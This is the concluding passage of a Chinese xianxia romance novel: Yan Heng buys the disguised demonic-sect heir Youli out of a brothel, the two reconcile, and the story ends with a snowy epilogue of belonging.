他不笑,不敬酒,不陪客,只弹琴。 琴声冷,像雪落在冰面上,没有一点脂粉气。 偏偏这样的人,被胡掌柜捧在手心里。 有人不服,喝醉了想上楼抢人,被胡掌柜一句“你配?”直接让人打断了腿扔出去。 久而久之,临渊城都知道—— 醉春楼的雪公子,只可远观,不可亵玩。 宥鲤在醉春楼一住就是半个月。 白天,他关在天字一号,打坐、调息,一点点把困灵阵残留的压制逼出体外。 夜里,他偶尔下楼,坐在二楼栏杆后,弹一曲琴,唱半阙词。 他的歌声不媚,不软,甚至有点冷,却奇异地勾人。 有人说,雪公子是天上的人,掉下来的时候摔断了翅膀,才被胡掌柜捡了去。 也有人说,他是哪个宗门的弟子,犯了门规被逐出来,只能在青楼卖艺还债。 各种流言在城里乱飞,却没人知道,他真正的名字叫——宥鲤。 这半个月里,他很少想起煞玄,很少想起魔教。 脑子里盘旋最多的,是两个人—— 一个是云清君,一个是严珩。 云清君在记忆里,总是安静、克制,却在某个瞬间,会伸手替他拂去肩头的雪。 严珩则是完全相反的那一类人——张扬、狂妄,说话不遮不掩,笑得痞气,却总在最关键的时候,站在他身前。 “小千浮,今儿后山的风硬,借我抱一下?” 那句话,总在夜深人静的时候,从记忆深处钻出来。 宥鲤靠在窗边,听着楼下的喧闹,指尖轻轻敲着窗棂。 “严珩……”他低声念出这个名字,眼底有一瞬间的恍惚。 他不知道严珩现在在哪里,也不知道对方是否已经知道他“死了”。 如果知道—— 以那个人的性子,怕是会闹得天翻地覆。 想到这里,宥鲤忍不住勾了勾唇角。 但下一刻,笑意又一点点淡下去。 “你最好别来。”他轻声道,“来了,只会把一切都搅得更乱。” 第七夜。 临渊城的雨下得很大。 雨丝像针一样扎在窗纸上,发出细密的声响。 醉春楼里却热闹依旧,客人比往常更多——因为胡掌柜放出话来:今晚雪公子会亲自弹一曲。 “公子,该下去了。”小厮在门外低声道。 宥鲤收起思绪,起身理了理水红长衫,推门而出。 楼梯很窄,他走得很慢。 楼下灯火通明,酒香与脂粉气混在一起,让他有点想吐。 他在二楼栏杆后的位置坐下,琴已经摆好。 楼下立刻安静了一瞬。 “雪公子!” “终于肯露面了!” “胡掌柜,你这可是藏得够深啊!” 各种声音此起彼伏。 宥鲤视若无睹,只抬手,指尖落在琴弦上。 第一个音落下时,雨声似乎都轻了几分。 琴声清冷,像雪落长街,又像剑出寒鞘。 没有艳词,没有情语,只有一段干净利落的旋律,在楼中回荡。 有人听呆了,有人听不懂,只觉得心里莫名发紧。 一曲终了,楼下鸦雀无声。 过了好一会儿,才有人回过神来,大声叫好。 “好!” “雪公子这琴,绝了!” “再来一曲!” 宥鲤却已经收回手,起身准备回房。 就在这时—— 一道青虹,从城外破空而来。 那道剑光太亮,太熟悉,像从记忆里劈出来的。 宥鲤脚步一顿。 楼下有人惊呼:“那是什么?!” “剑气?!” “谁敢在临渊城上空乱飞——” 话音未落,青虹已经落在醉春楼门前。 门板被剑气震得一震,木屑纷飞。 楼里瞬间安静。 所有人都下意识地看向门口。 一个青衣男人,缓缓走了进来。 他很高,肩背挺直,眉眼清冷,唇线薄而锋利,整个人像一柄未出鞘的剑。 他的发是黑色的,却在发尾处泛着一点极浅的白,像是被雪染过。 ——严珩。 宥鲤的心,在看见他的那一刻,狠狠一缩。 他来干什么? 是知道他没死,还是……只是路过? 严珩没看任何人,目光像一道锋利的线,从楼下扫过,最后停在二楼栏杆后。 隔着摇曳的灯火和喧闹的人群,两人的视线撞在一起。 那一瞬间,所有声音都仿佛被抽空。 严珩的眼睛很黑,很深,像多年未解冻的冰湖。 他看着宥鲤,目光一寸一寸地从那身水红长衫、雪色长发、描过的眉眼上滑过。 宥鲤下意识地攥紧了袖中手指。 他知道,自己现在的样子,很荒唐。 清倌人。 被人当成玩物。 被人围观、点评、追捧。 这一切,落在严珩眼里,会是什么? 严珩没有立刻说话。 他只是站在原地,静静看着他,像在确认什么。 过了很久,他才缓缓开口,声音冷得像雪水: “宥鲤。” 这两个字,很轻,却像一道雷,在楼里炸开。 有人懵了:“他认识雪公子?” “宥鲤……这名字怎么听着有点耳熟?” “不会是……” 胡掌柜脸色一变,立刻上前一步:“这位公子,你认错人了——” “我有没有认错人,”严珩没看他,目光仍落在二楼,“他自己知道。” 宥鲤喉结微微滚动。 他知道自己现在有两个选择—— 认,或者不认。 认了,麻烦会像潮水一样涌来。 不认,也许能暂时拖过去。 但他很清楚,严珩不是那种会被轻易糊弄过去的人。 “……严珩。”宥鲤低声开口。 声音不大,却清清楚楚地传到楼下。 严珩眼底的冰,在这一瞬间,裂开了一条缝。 他没有笑,也没有怒,只是很平静地说了一句: “跟我走。” 胡掌柜脸色彻底沉了下来。 “这位公子,”他挡在严珩面前,“雪公子是我们醉春楼的人,欠了债,签了契——” “让开。”严珩淡淡道。 “你——” “我说,让开。”严珩抬眼,目光落在他脸上。 那一眼很冷,冷得胡掌柜下意识地退了半步。 他这才真正意识到—— 这个人,不好惹。 “他欠你多少。”严珩问。 “这不是钱的问题——” “多少。”严珩重复,语气没有起伏,却带着一股压得人喘不过气的压迫感。 胡掌柜咬了咬牙:“五百两。” 严珩从袖中摸出一张银票,随手扔在桌上。 银票轻飘飘地落下,上面的数字,是——五千两。 “够不够?”他问。 胡掌柜愣住了。 楼里也炸开了锅。 “五千两?!” “疯了吧?!” “就为了一个清倌人?!” 胡掌柜喉结动了动:“这不是——” “不够?”严珩又摸出一张,“再加五千。” 第二张银票落在桌上,和第一张叠在一起,像两朵轻飘飘的花。 “够不够?”他再问。 胡掌柜看着那一万两银票,指尖微微发抖。 一万两,足以买下半座临渊城。 他开醉春楼这么多年,也没见过这么砸钱的。 “这不是钱的问题——”他咬牙坚持。 “那是什么问题?”严珩终于看了他一眼,“你想谈命?” 这句话说得太轻,却像一柄剑,悄无声息地抵在了胡掌柜的喉咙上。 楼里安静得可怕。 所有人都看出来了—— 这个青衣男人,不是来买人的,是来抢人的。 而且,他有这个底气。 胡掌柜脸色变了又变。 他不怕一般的江湖人,不怕小宗门的弟子,可他看得出来—— 严珩身上的剑意,已经到了一种非常危险的地步。 这种人,一旦动手,醉春楼能不能保住,都是问题。 更重要的是—— 他现在捏着的,是一个“死人”。 一个魔教少主。 一个万归宗首徒。 一旦事情闹大,他这点算计,根本不够看。 “好。”胡掌柜终于咬牙,“契在楼上,我去拿。” 他转身往楼上走,经过宥鲤身边时,压低声音道:“你最好记住,你答应过我什么。” 宥鲤淡淡看了他一眼:“我记得。” 胡掌柜冷哼一声,推门进了账房。 很快,他拿着一张纸下来,扔在严珩面前:“按规矩,按个手印,他就跟你走。” 严珩没看那张纸,只抬眼看向二楼:“宥鲤。” 宥鲤深吸一口气,转身下楼。 每走一步,水红长衫就在台阶上晃一下,像血在流。 他走到严珩面前,两人之间隔着一张桌子的距离。 严珩看着他,目光落在他描过的眉、涂过的唇、那身刺眼的红上。 宥鲤忽然有点想笑。 “很丑?”他问。 严珩没回答。 他只是伸出手,指腹轻轻擦过宥鲤的唇角。 那动作很轻,却带着一点不易察觉的颤。 红被擦掉了一点,露出下面原本淡色的唇。 “……回去再洗。”严珩终于开口,声音低哑,“这里,脏。” 宥鲤愣了一下。 严珩没有再说什么,只转身,对胡掌柜道:“手印按了。” 胡掌柜咬牙,在契上按了手印,把笔递给宥鲤。 宥鲤接过,在“赎身人”一栏,写下了两个字—— “严珩。” 字迹凌厉,像剑刻出来的。 胡掌柜看着那两个字,心里隐隐发寒。 “可以了?”严珩问。 “可以。”胡掌柜咬牙道。 严珩没再多说什么,只转身,对宥鲤道:“走。” 宥鲤看了胡掌柜一眼。 胡掌柜也在看他,眼神复杂。 “你答应过我的。”胡掌柜低声道。 “我记得。”宥鲤淡淡道,“你也记得——别打云清君的主意。” 说完,他转身,跟上严珩。 两人一前一后,走出醉春楼。 门外的雨已经停了,地上积着水,倒映着楼上的灯火。 宥鲤踏出楼门的那一刻,忽然有种不真实感。 就这样……被赎出去了? 他回头看了一眼醉春楼的牌匾。 那块牌匾在风雨中微微晃动,像一张嘲笑的脸。 “别看了。”严珩淡淡道,“以后,你不会再回来。” 宥鲤收回目光,看向他:“你怎么知道我在这里?” 严珩沉默了一瞬:“你在祭渊台‘死’后,我去了魔教。” “你留下的那具‘尸体’,没有魂火。” “我知道,你没死。” 他的声音很平静,像在说一件再普通不过的事。 “我沿着你可能走的方向,一路找。” “走了五天,问了二十三个镇子。” “最后在临渊城,听到有人说起‘雪公子’。” “雪发,青衣,清冷,会弹琴。” “我就知道——” 严珩侧过头,看了他一眼:“是你。” 宥鲤喉咙发紧。 “你……”他想说什么,却发现所有话都堵在胸口。 “走吧。”严珩没让他继续说,“这里不是说话的地方。” 他抬手,指尖一勾,一道青虹从城外飞来,落在两人面前。 那是他的剑。 “御剑。”严珩道。 宥鲤没有拒绝,踏上剑。 青虹破空而起,瞬间没入云层。 临渊城在脚下越来越小,醉春楼的灯火也成了一点微弱的光 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宥鲤在他对面坐下:“你……” “你想问什么?”严珩没抬头,“为什么来?为什么救你?还是——为什么现在才来?” 宥鲤被他说中心事,一时竟不知从何问起。 “你怎么知道我没死?”他选了一个最安全的问题。 “教冠碎的时候,我在场。”严珩淡淡道,“那具尸体,没有魂火。” “你不会死在那种地方。” “那种地方?”宥鲤挑眉。 “祭渊台。”严珩道,“你不会把命,交给一群疯子。” 宥鲤沉默了一瞬,忽然笑了一下:“你倒是了解我。” “你也了解我。”严珩终于抬眼看他,“你知道,我不会信你死了。” 两人对视着,谁也没再说话。 火堆噼啪作响,像在替他们填补沉默。 过了很久,宥鲤才低声道:“严珩。” “嗯。” “你……”他咬了咬牙,“看到我在醉春楼那样,心里怎么想?” 严珩看着他,没说话。 宥鲤心里一紧:“是不是觉得——” “丢人?”严珩替他说了出来。 宥鲤垂下眼:“是。” “我也觉得。”严珩淡淡道。 宥鲤猛地抬头:“你——” “丢人。”严珩重复,“丢我的人。” 宥鲤愣住了。 “你是魔教少主,是万归宗首徒,是我严珩惦记了五百年的人。” “结果呢?” “迷路,被人打晕,拖进青楼,当成清倌人供人观赏。” 严珩的声音依旧平静,却带着一点不易察觉的冷意:“你让我说什么?” 宥鲤被噎住了。 “我……”他张了张口,“我那是——” “我知道。”严珩打断他,“你是为了不牵连云清君。” “你什么都往自己身上扛。” “你以为你死了,就能一了百了?” “你以为你被人当成玩物,就能护住所有人?” 严珩的声音一点点低下去:“宥鲤,你有没有想过——” “我呢?” 宥鲤的心,在这一刻,狠狠一震。 “你从来没问过我。”严珩看着他,“你要去魔教,你要毁教冠,你要装死,你要被人当成清倌人——” “你问过我一句吗?” “问我愿不愿意跟你一起?” “问我愿不愿意为你扛一点?” “问我……”他顿了顿,“愿不愿意,被你牵连?” 宥鲤喉结滚动,说不出话。 “你总是这样。”严珩轻声道,“把所有人都护在身后,把自己往死路上推。” “可我不是云清君。” “我不需要你护。” “我只想——” 他忽然伸手,抓住了宥鲤的衣领,将他猛地拉近。 两人之间的距离瞬间缩短。 鼻尖几乎相抵。 宥鲤瞳孔一缩:“严珩——” “我只想,”严珩盯着他的眼睛,一字一顿,“抱你一下。” 这句话,和五百年前那句—— “小千浮,今儿后山的风硬,借我抱一下?” 像重叠在一起。 只是这一次,没有玩笑,没有痞气,只有压抑了五百年的认真。 宥鲤呼吸一乱。 他本能地想推开,却发现自己的手,根本用不上力。 不是灵力被封,而是——他不想推。 “你……”他张了张口,“你疯了?” “疯了五百年。”严珩淡淡道,“不差这一次。” 他没再给宥鲤拒绝的机会,直接伸手,将他整个人抱进怀里。 那是一个很紧的拥抱。 严珩的手臂很有力,像铁,像剑,却意外地稳。 宥鲤的脸贴在他的肩窝,能闻到他身上淡淡的松脂香,混着一点剑气的冷意。 这是他们第一次,真正意义上的拥抱。 不是玩笑,不是试探,不是借着风雪的借口。 而是—— 在一座破庙里,在一堆将熄未熄的火旁,在所有身份、算计、仇恨都暂时退到一旁的时候。 宥鲤的手,僵在半空很久。 过了一会儿,才缓缓抬起,轻轻环住严珩的背。 他的动作很轻,很生涩,却很认真。 “严珩。”他低声道。 “嗯。” “谢谢你。” “谢我什么?” “谢你……”宥鲤闭上眼,“来捞我。” 严珩没说话,只是收紧了手臂。 “以后,”他在宥鲤耳边轻声道,“别再一个人往泥里跳。” “要跳——” “拉着我一起。” 宥鲤心口一热,几乎要落下泪来。 他很少有这种感觉——被人接住的感觉。 “好。”他低声道。 “严珩。” “我记住了。” 后来的事,说简单也简单,说复杂也复杂。 他们先去了万归宗。 云清君还在。 只是鬓角多了几缕白,眼神比从前更淡了些。 宥鲤跪在他面前,说了很多话——关于魔教,关于教冠,关于自己这五百年的挣扎与选择。 云清君听完,只是沉默了很久。 然后,他伸手,像从前那样,替宥鲤拂去肩头的灰尘。 “回来就好。”他轻声道。 那一刻,宥鲤忽然觉得,所有的苦,都值了。 魔教那边,煞玄终究还是找上门来。 他想把宥鲤带回去,重新立为少主,继续他的棋局。 这一次,宥鲤没有再任他摆布。 他当着煞玄的面,折断了那枚骷髅印。 “我不是你的棋子。”他淡淡道,“也不是魔教少主。” “我是宥鲤,字千浮。” “是万归宗朽清门的弟子。” “也是——”他偏头,看了一眼站在他身侧的青衣男人,“他的人。” 煞玄脸色铁青,却终究没再动手。 因为他知道,自己已经输了。 输在儿子不再认他,输在这世上,终于有人愿意为宥鲤,与他为敌。 魔教后来分裂了。 裴煦和一部分人继续追随煞玄,琅风和其他人选择离开,还有一部分,被万归宗收编。 江湖上的血雨腥风,慢慢平息。 再后来—— 朽清门后山。 雪又下了。 这一年的雪,比往年都大。 山脚下的小镇被覆盖,石板路看不见行人。 后山的雪壁上,却多了一道熟悉的身影。 宥鲤坐在雪壁前,手里拿着剑,却没有练。 他只是静静看着雪落,像在等什么。 “小千浮。” 一个熟悉的声音,从身后传来。 宥鲤回头。 严珩站在不远处,青衣被雪染了一点白,眉眼清冷,却在看到他的那一刻,柔了几分。 “今儿后山的风硬。”严珩走近,“借我抱一下?” 这句话,和五百年前一模一样。 宥鲤愣了一瞬,随即笑了。 那是一个很轻,却很真的笑。 “好。”他放下剑,起身,主动走过去,抱住了严珩。 雪落在两人的发上、肩上,很快积了薄薄一层。 “严珩。”宥鲤低声道。 “嗯。” “我有件事,一直没告诉你。” “说。” “当年你说,要摘雪山最高处的那朵花。” “嗯。” “你知道那朵花,后来怎么样了吗?” 严珩沉默了一瞬:“被你扔了?” “没有。”宥鲤笑了,“我把它养在了心里。” “所以——”他抬头,看着严珩,“你已经摘到了。” 严珩眼底的冰,在这一刻彻底化开。 他低头,在宥鲤额头上落下一个极轻的吻。 “那就好。”他轻声道。 “我这人,贪心。” “摘了花,就不会再放手。” 雪越下越大,却不再冷得刺骨。 因为这一次,宥鲤不再是一个人。 他有云清君在山门等着他回去。 有严珩在身侧,与他一起,看雪落,看风起,看江湖潮起潮落。 他终于明白—— 所谓“归处”,从来不是某一座山,某一个门派,某一个身份。 而是—— 有人在等你。 有人愿意为你,与天下为敌。 有人,在风雪里,向你伸出手,说一句—— “借我抱一下。” 雪落无声。 只记得那年冬天,雪下得很早。 破庙里,少年抱紧弟弟,眼里只有戒备; 朽清门的白衣师尊伸出手,把他从泥里捞起。 五百年后,祭渊台上,他是被宣告死亡的魔教少主; 醉春楼里,他是被人争睹的“雪公子”。 有人把他当棋子,有人把他当筹码, 只有两个人,把他当“人”。 一个,在风雪中教会他“归处”的意义; 一个,在泥沼里把他拽出来,说: “以后要跳,拉着我一起。” 苦冬漫长,可只要有人替你挡风, 再冷的雪,也会在某一天,化成春水。 ——完——